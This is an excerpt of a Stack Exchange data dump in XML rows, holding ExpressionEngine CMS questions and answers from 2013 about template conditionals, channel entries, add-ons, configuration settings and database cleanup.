  <row Id="11077" PostTypeId="2" ParentId="11067" CreationDate="2013-06-06T20:39:54.963" Score="2" Body="&lt;p&gt;I would suggest installing Fail2Ban - it is a process that will monitor your logs and ban (via iptables) IPs that are trying to log in at excessive rates, or otherwise exploit your server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Linode has a good writeup on how to set it up: &lt;a href=&quot;https://library.linode.com/security/fail2ban&quot; rel=&quot;nofollow&quot;&gt;https://library.linode.com/security/fail2ban&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="361" LastActivityDate="2013-06-06T20:39:54.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11078" PostTypeId="1" AcceptedAnswerId="11080" CreationDate="2013-06-06T20:45:23.500" Score="0" ViewCount="64" Body="&lt;p&gt;I need to be able to display only a subset of channel entries based on membership expiration date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking to display only those entries where the Expiration Date is less than or equal to today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;member_profiles&quot; group_id=&quot;9|10|11|12|13|14|15&quot;  orderby=&quot;business_expire_date&quot; sort=&quot;asc&quot;}&#xA; {if {business_expire_date format=&quot;%U&quot;} &amp;lt;= {current_time format=&quot;%U&quot;} }&#xA;    &amp;lt;tr class=&quot;{switch='odd|even'}&quot;&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;a href=&quot;/member-reports/profile/{url_title}&quot;&amp;gt;{member_business}&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{full_name}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{business_enroll_date format=&quot;%M %d, %Y&quot;}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td class=&quot;expired&quot;&amp;gt; {business_expire_date format=&quot;%M %d, %Y&quot;}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I load the page I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Parse error: syntax error, unexpected T_IS_SMALLER_OR_EQUAL in /home/...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How do I modify the {if} statement to correct that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-06-06T21:23:19.060" Title="How do I use a conditional to filter channel results?" Tags="|conditionals|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11079" PostTypeId="2" ParentId="11066" CreationDate="2013-06-06T21:22:06.223" Score="2" Body="&lt;p&gt;Low Search&lt;br&gt;&#xA;&lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-search&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming your types/times are categories (which it sounds like they are)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your &lt;code&gt;{exp:low_search:results}&lt;/code&gt; tag, you should use &lt;code&gt;require_all=&quot;category&quot;&lt;/code&gt;. This will make sure the results only match entries with &lt;em&gt;all&lt;/em&gt; the selected categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your checkboxes should all be named &lt;code&gt;category[]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;recipes&quot; style=&quot;linear&quot;}&#xA;  &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;category[]&quot; value=&quot;{category_id}&quot;{if category_id IN ({low_search_category})} checked{/if}&amp;gt; {category_name}&amp;lt;/label&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastEditorUserId="172" LastEditDate="2014-11-01T09:15:50.017" LastActivityDate="2014-11-01T09:15:50.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11080" PostTypeId="2" ParentId="11078" CreationDate="2013-06-06T21:23:19.060" Score="3" Body="&lt;p&gt;You should wrap your dates in quotes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{business_expire_date}&quot; &amp;lt;= &quot;{current_time}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-06-06T21:23:19.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11081" PostTypeId="2" ParentId="11072" CreationDate="2013-06-06T21:51:04.997" Score="0" Body="&lt;p&gt;That doesn't sound right - can you please email support@exp-resso.com with CP login details so that we may investigate this issue for you.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-06-06T21:51:04.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11082" PostTypeId="2" ParentId="9435" CreationDate="2013-06-06T22:07:54.340" Score="0" Body="&lt;p&gt;This issue is fixed by updating CE Cache to the latest version.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-06-06T22:07:54.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11083" PostTypeId="2" ParentId="11071" CreationDate="2013-06-06T22:07:57.247" Score="1" Body="&lt;p&gt;Was a bug in grid lite&lt;/p&gt;&#xA;&#xA;&lt;p&gt;today max lazar will fix it&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2013-06-06T22:07:57.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11084" PostTypeId="2" ParentId="11040" CreationDate="2013-06-06T23:09:46.667" Score="1" Body="&lt;p&gt;Workaround it with JS - either via a custom accessory or, easier, the CP Add CSS/JS Add-on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install the CP CSS &amp;amp; JS add-on from here: &lt;a href=&quot;http://devot-ee.com/add-ons/cp-css&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/cp-css&lt;/a&gt; and put this in the settings for Custom JavaScript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($('.cartthrobPriceQuantityThresholds').length){&#xA;    $('.cartthrobPriceQuantityThresholds input').blur(function(){&#xA;        $(this).val( $(this).val().replace(/[$]/g, '') );&#xA;    });   &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Done.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-06-06T23:09:46.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11085" PostTypeId="2" ParentId="11065" CreationDate="2013-06-07T00:44:26.017" Score="0" Body="&lt;p&gt;How many database queries is your template code generating? If you're not sure, turn on EE's Output Profiler. &lt;code&gt;Admin &amp;gt; System Administration &amp;gt; Output and Debugging.&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every time you use the &lt;code&gt;{prev_row}&lt;/code&gt; and &lt;code&gt;{next_row}&lt;/code&gt; tags you will be adding an additional database query to your page. This will be compounded as you are using the tags within your matrix loop. So if you're displaying 150 matrix rows you'd be looking at about 450 queries just to display this section of your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try using PHP in your template, set to input, to save and compare the previous row values instead of using the &lt;code&gt;{prev_row}&lt;/code&gt; tag. This obviously doesn't work for the &lt;code&gt;{next_row}&lt;/code&gt; tag but based on your example I don't think you'd need to do this anyway. If you need help grouping the matrix rows under a year heading it might be best to post another question dealing directly with that issue.&lt;/p&gt;&#xA;" OwnerUserId="975" LastEditorUserId="975" LastEditDate="2013-06-07T05:07:27.250" LastActivityDate="2013-06-07T05:07:27.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11086" PostTypeId="2" ParentId="11057" CreationDate="2013-06-07T00:55:42.263" Score="1" Body="&lt;p&gt;To make &quot;{cf_news_title_{freebie_1}}&quot; to work, freebie has to be parsed early.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, let's create an alternative to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all of the first segments of URLs is code of languages, on your config. php, add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $assign_to_config;&#xA;&#xA;if(!isset($assign_to_config['global_vars']))$assign_to_config['global_vars'] = array();&#xA;&#xA;$lang_code = substr($_SERVER['REQUEST_URI'], 1, 2);&#xA;$assign_to_config['xml_lang']               = $lang_code;&#xA;$assign_to_config['language']               = $lang_code;&#xA;$assign_to_config['global_vars']['cv-lang']     = $lang_code;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way, you can use {cv-lang} instead of {freebie_1}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, I think you can do all of this without stash.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-06-07T00:55:42.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11087" PostTypeId="2" ParentId="11059" CreationDate="2013-06-07T02:39:28.033" Score="2" Body="&lt;p&gt;You will want to have the channels entries loop inside of the cart tags. I am going to use the checkout tag but this would work with the cart and order tags too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:cart}&#xA; {items}&#xA;  {exp:channel:entries entry_id=&quot;{entry_id}&quot; limit=&quot;1&quot;}&#xA;   {title}&#xA;   &amp;lt;img src=&quot;{images_custom_field_name_here}&quot; /&amp;gt;&#xA;  {/exp:channel:entries}&#xA; {/items}&#xA;{/exp:store:cart}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-06-07T02:39:28.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11088" PostTypeId="2" ParentId="11065" CreationDate="2013-06-07T05:26:50.720" Score="0" Body="&lt;p&gt;the system you've built there seems like it could be a pretty big drain on the system - can you try removing all the if statements to see how quick everything loads? If there's a significant difference, then you might want to think up on a cleaner approach that might save you time.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-06-07T05:26:50.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11089" PostTypeId="2" ParentId="11027" CreationDate="2013-06-07T06:33:19.510" Score="5" Body="&lt;p&gt;Your &quot;More Info&quot; comment shows you are on the right track, in looking for other data fragments in the database. exp_channel_data contains your custom fields. Several third-party field types have their own table to store information in (like Matrix/exp_matrix_data).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be safe to remove the row from exp_channel_titles. The other tables contain data that is tied to that main entry table, but they are rarely referenced separately. The exact addons/code will determine whether an orphaned entry elsewhere in the database is a problem or not (like some of the geolocation addons), but I am inclined to think it won't be an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, have you looked for other problematic entries? A query like this could be useful:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT ct.entry_id&#xA;FROM exp_channel_titles ct&#xA;LEFT JOIN exp_channel_data cd ON (cd.entry_id = ct.entry_id)&#xA;WHERE cd.entry_id IS NULL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="460" LastActivityDate="2013-06-07T06:33:19.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11092" PostTypeId="1" AcceptedAnswerId="11203" CreationDate="2013-06-07T09:15:56.987" Score="1" ViewCount="165" Body="&lt;p&gt;I seem to be having an issue where EE 1.6.8 doesn't seem to like the changes I'm making to the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example. I've changed a category name from 'Contact / Careers' to 'Contact' but on the site it still shows 'Contact / Careers'. I've cleared browser &amp;amp; server cache, as well as EE cache and it's still doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking in the DB shows the category is 'Contact' - So i'm a bit stumped as to where this name is still being pulled from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another weird thing... Is if I specify what categories to show using the &lt;code&gt;category=&quot;2&quot;&lt;/code&gt; tag, it shows 'Contact'!!!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{assign_variable:weblog=&quot;section&quot;}&#xA;&#xA;{embed=&quot;includes/head&quot;}&#xA;&#xA;{embed=&quot;includes/header&quot;}&#xA;&#xA;{exp:weblog:category_archive weblog=&quot;{weblog}&quot; style=&quot;linear&quot; show_empty=&quot;yes&quot;}&#xA;&#xA;    {categories}&#xA;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;span&amp;gt;&amp;lt;a href=&quot;#&quot; title=&quot;{category_name}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&#xA;        &amp;lt;div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;tabs{category_id}&quot;&amp;gt;&#xA;                &amp;lt;ul class=&quot;subNav&quot;&amp;gt;&#xA;                    {exp:weblog:entries weblog=&quot;{weblog}&quot; category=&quot;{category_id}&quot; sort=&quot;asc&quot;} &#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#{url_title}&quot; title=&quot;{title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    {/exp:weblog:entries}&#xA;                &amp;lt;/ul&amp;gt;&#xA;&#xA;                {exp:weblog:entries weblog=&quot;{weblog}&quot;  category=&quot;{category_id}&quot;} &#xA;                    &amp;lt;div id=&quot;{url_title}&quot; class=&quot;col-container&quot;&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;col2 left&quot;&amp;gt;&#xA;                            {section-left}&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;col2 right end&quot;&amp;gt;&#xA;                            {section-right}&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                {/exp:weblog:entries}&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/categories}&#xA;&#xA;{/exp:weblog:category_archive}  &#xA;&#xA;{embed=&quot;includes/footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="362" LastEditorUserId="362" LastEditDate="2013-06-11T09:31:55.473" LastActivityDate="2013-06-12T17:17:07.210" Title="Category Name not Updating" Tags="|ee1|cache|categories|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="11093" PostTypeId="2" ParentId="11027" CreationDate="2013-06-07T09:19:40.027" Score="0" Body="&lt;p&gt;Here is the process I would follow to isolate the problem a bit more. Looks like that entry 62 is indeed problematic&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Backup your database (a big dump is enough to allow you to rollback quickly if anything goes horribly wrong)&lt;/li&gt;&#xA;&lt;li&gt;Delete that 62 entry from exp_channel_titles&lt;/li&gt;&#xA;&lt;li&gt;If problem persists and you still get a message tied to matrix, try disabling it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can always restore everything if needed.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-06-07T09:19:40.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11094" PostTypeId="1" CreationDate="2013-06-07T10:46:41.567" Score="1" ViewCount="284" Body="&lt;p&gt;i'm hoping you guys can help with recommendations for the best user management module for my particular problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i want to be able to have two levels of user - site admins and members. site admins would be able to view / add / remove members from their designated 'location' only (so I guess a field to identify where they're based would be required). this should all happen on the front end of the site, outside of the EE admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i also want to be able to view / filter all users by specific custom fields (for example their location) and if possible export all users to CSV (appreciate this may need to happen outside of the module though...) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There seems to be lots of modules available so before I take the plunge I'm just trying to work out which one is the best fit for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;Matt&lt;/p&gt;&#xA;" OwnerUserId="1484" LastActivityDate="2013-06-09T14:50:56.847" Title="User module - recommendations" Tags="|members|module|recommendation-request|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11096" PostTypeId="1" CreationDate="2013-06-07T15:32:40.800" Score="1" ViewCount="238" Body="&lt;p&gt;Someone told me the other day that Google likes url's with hyphens (e.g. a-page-title) opposed to url's with underscores (e.g. a_page_title).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming this is correct is there a way to make Expression Engine use hyphens in it's page url's opposed to the underscores it uses by default?&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-06-07T16:28:14.103" Title="Using hyphens opposed to underscores with in page URLs" Tags="|seo|pages|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11097" PostTypeId="2" ParentId="11096" CreationDate="2013-06-07T15:51:22.733" Score="4" Body="&lt;p&gt;Admin &gt; Channel Administration &gt; Global Preferences &gt; Word Separator for URL Titles &gt; Dash&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, in your config.php file (or your bootstrap equivalent):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['word_separator'] = 'dash';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-06-07T16:28:14.103" LastActivityDate="2013-06-07T16:28:14.103" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11098" PostTypeId="1" AcceptedAnswerId="11099" CreationDate="2013-06-07T19:34:57.143" Score="1" ViewCount="103" Body="&lt;p&gt;I'm trying to get a multi-entry relationship field to render in a template using EE 2.6.0, however I'm getting &quot;Unmatched Relationship Tag: &quot;{impact_stats}&quot;&quot; with template debugging enabled, with it disabled I get nothing with the conditional, without the conditional it just outputs the actual tags and not their contents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I'm using, it's contained within a exp:channel:entries loop and all of the entry's tags other than the impact_stats one is working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if impact_stats}&#xA;&amp;lt;section class=&quot;content-stats-listing&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        {impact_stats}&#xA;        &amp;lt;article class=&quot;module-stats note av-fire&quot;&amp;gt;&#xA;            &amp;lt;h4&amp;gt;{impact_stats:headline}&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;p&amp;gt;{impact_stats:description}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/article&amp;gt;&#xA;        {/impact_stats}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1630" LastEditorUserId="343" LastEditDate="2013-06-08T02:29:08.313" LastActivityDate="2013-06-08T02:29:08.313" Title="Template &quot;Unmatched Relationship Tag&quot;" Tags="|ee2|templates|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11099" PostTypeId="2" ParentId="11098" CreationDate="2013-06-07T19:57:11.223" Score="1" Body="&lt;p&gt;Looks like the template parser is &lt;em&gt;thinking&lt;/em&gt; that your conditional is the opening variable of a pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{impact_stats}&#xA;    {if impact_stats:count == 1}&#xA;    &amp;lt;section class=&quot;content-stats-listing&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    {/if}&#xA;            &amp;lt;article class=&quot;module-stats note av-fire&quot;&amp;gt;&#xA;                &amp;lt;h4&amp;gt;{impact_stats:headline}&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;p&amp;gt;{impact_stats:description}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/article&amp;gt;&#xA;    {if impact_stats:count == impact_stats:total_results}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    {/if}&#xA;{/impact_stats}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-06-07T20:54:42.490" LastActivityDate="2013-06-07T20:54:42.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11100" PostTypeId="1" AcceptedAnswerId="11118" CreationDate="2013-06-07T21:01:42.750" Score="1" ViewCount="107" Body="&lt;p&gt;I'm at a loss on this one. I have an entry in my products channel. The status is wide. The entry is showing up on the home page. OK, great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I want to change some text on the entry. I make the change and hit submit. It stays on the form, rather than going to the summary of the entry with the 4 or 5 links at the bottom. And the change doesn't seem to take, because the front end stays the same as before. Plus, when I get out of the update form on the back end, then go back in, the change has disappeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to add a new entry. I'm also able to make changes to that entry. But the existing entry won't change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a site I've cloned from another site. The data is from that other site, but it's in a new database, on a new server (cloud). I have followed all instructions for moving sites between servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated. (BTW, we're using version 2.5.5.)&lt;/p&gt;&#xA;" OwnerUserId="1126" LastActivityDate="2013-06-09T08:19:55.177" Title="Entry won't update" Tags="|channel|entries|updating|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11101" PostTypeId="1" AcceptedAnswerId="11216" CreationDate="2013-06-07T21:23:14.653" Score="0" ViewCount="39" Body="&lt;p&gt;An image is stored in a P&amp;amp;T Assets field and has been working fine. An editor emailed me saying when she opens an entry to edit it, the image is gone. I tried to edit entries and it worked fine. I even logged in as her and used the same browser and it worked. I then watched her edit it on her computer (Win 7 with Firefox) and sure enough, the image is not there when she opens the edit page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made sure she was using the right url, https (and not http which caused problems), no domain mismatches, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A strange problem to start with, the inconsistency makes it even more 'fun'. &lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-06-13T00:04:30.967" Title="P&amp;T Assets field &quot;loses&quot; image when editing from some machines" Tags="|assets|pixelandtonic|image|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11102" PostTypeId="1" AcceptedAnswerId="11119" CreationDate="2013-06-07T23:12:16.800" Score="0" ViewCount="64" Body="&lt;p&gt;Is there a way to reorder assets using the Assets plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to allow the client to upload a series of files and then choose which order to display them on the front end.&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="422" LastEditDate="2013-06-09T08:22:10.043" LastActivityDate="2013-06-09T08:31:45.530" Title="Reordering Assets" Tags="|pixelandtonic|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11104" PostTypeId="1" CreationDate="2013-06-08T02:24:56.503" Score="1" ViewCount="150" Body="&lt;p&gt;I am creating a little front end admin area for a client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am setting it up so they can administrate users on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One feature I would like is for the Administrator to be able to Register Members using the FreeMember Register Form on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have it all setup although obviously since the Administrator is Logged in they can not register a member because the module is picking up they are logged in and giving the following message &quot;You are already registered and logged in.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way we can override this?&lt;/p&gt;&#xA;" OwnerUserId="1280" LastEditorUserId="422" LastEditDate="2013-06-09T10:08:20.313" LastActivityDate="2016-11-21T21:28:03.360" Title="Use Free Member as a way for Administrators to Register Members" Tags="|freemember|expresso|member-management|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11105" PostTypeId="1" CreationDate="2013-06-08T03:41:44.163" Score="1" ViewCount="221" Body="&lt;p&gt;Quick 'how to' question for everyone around using Categories across multiple MSM sites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's the situation:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There is a 'master' (MasterSite) site, and 2 other 'sub-sites' (SiteA + SiteB).&lt;/li&gt;&#xA;&lt;li&gt;SiteA and SiteB both have a channel called Events.&lt;/li&gt;&#xA;&lt;li&gt;I'm using the standard Channel Entries tag on the MasterSite to show events from both SiteA and SiteB ... and of course using the site=&quot;SiteA|SiteB&quot; parameter.&lt;/li&gt;&#xA;&lt;li&gt;SiteA and SiteB both have an 'Event Category' group setup.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The issue:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works fine until I have a single list of category names (for filtering). SiteA has the following categories - Wine, Christmas, Mother's Day.  SiteB has the following categories - Wine, Christmas, Father's Day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I list them out for filtering, I end up with duplicate names:&#xA;- Wine&#xA;- Wine&#xA;- Christmas&#xA;- Christmas&#xA;- Mother's day&#xA;- Father's day&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see why this is happening, and where the issues are, and get why it has to work like that ... but I want to remove the duplicates! I can handle the filtering part (as I'm using Isotope I actually only need the category name to do the filtering!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So here are my questions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can I setup and share a single category group across the different sites?&lt;/li&gt;&#xA;&lt;li&gt;Is there an add-on that handles this issue?&lt;/li&gt;&#xA;&lt;li&gt;Is there a parameter or setting I've missed that 'removes duplicates'?&lt;/li&gt;&#xA;&lt;li&gt;Is there simply a better way to do this?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I've come up with:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use javascript to remove duplicates on the fly.&lt;/li&gt;&#xA;&lt;li&gt;Use PHP to add in all categories into an array, removing duplicates, then list them out.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'd rather do these things 'by the book' using built-in functionality if possible ... but am open to other suggestions!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ready... steady... go!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:)&lt;/p&gt;&#xA;" OwnerUserId="140" LastActivityDate="2013-06-08T13:14:31.973" Title="Avoiding duplicate category names across MSM sites" Tags="|categories|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11106" PostTypeId="2" ParentId="10945" CreationDate="2013-06-08T12:11:32.800" Score="1" Body="&lt;p&gt;So, after following a hunch, this is indeed due to the way new lines/carriage returns are handled on some Windows environments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix, open up &lt;strong&gt;base.low_variables.php&lt;/strong&gt;, look up the line that says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array('variable_data' =&amp;gt; read_file($file)),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And change that to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array('variable_data' =&amp;gt; str_replace(&quot;\r\n&quot;, &quot;\n&quot;, read_file($file))),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In LV v2.3.1, that's line 355. In the latest version (v2.3.5), it's line 342.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-06-08T12:11:32.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
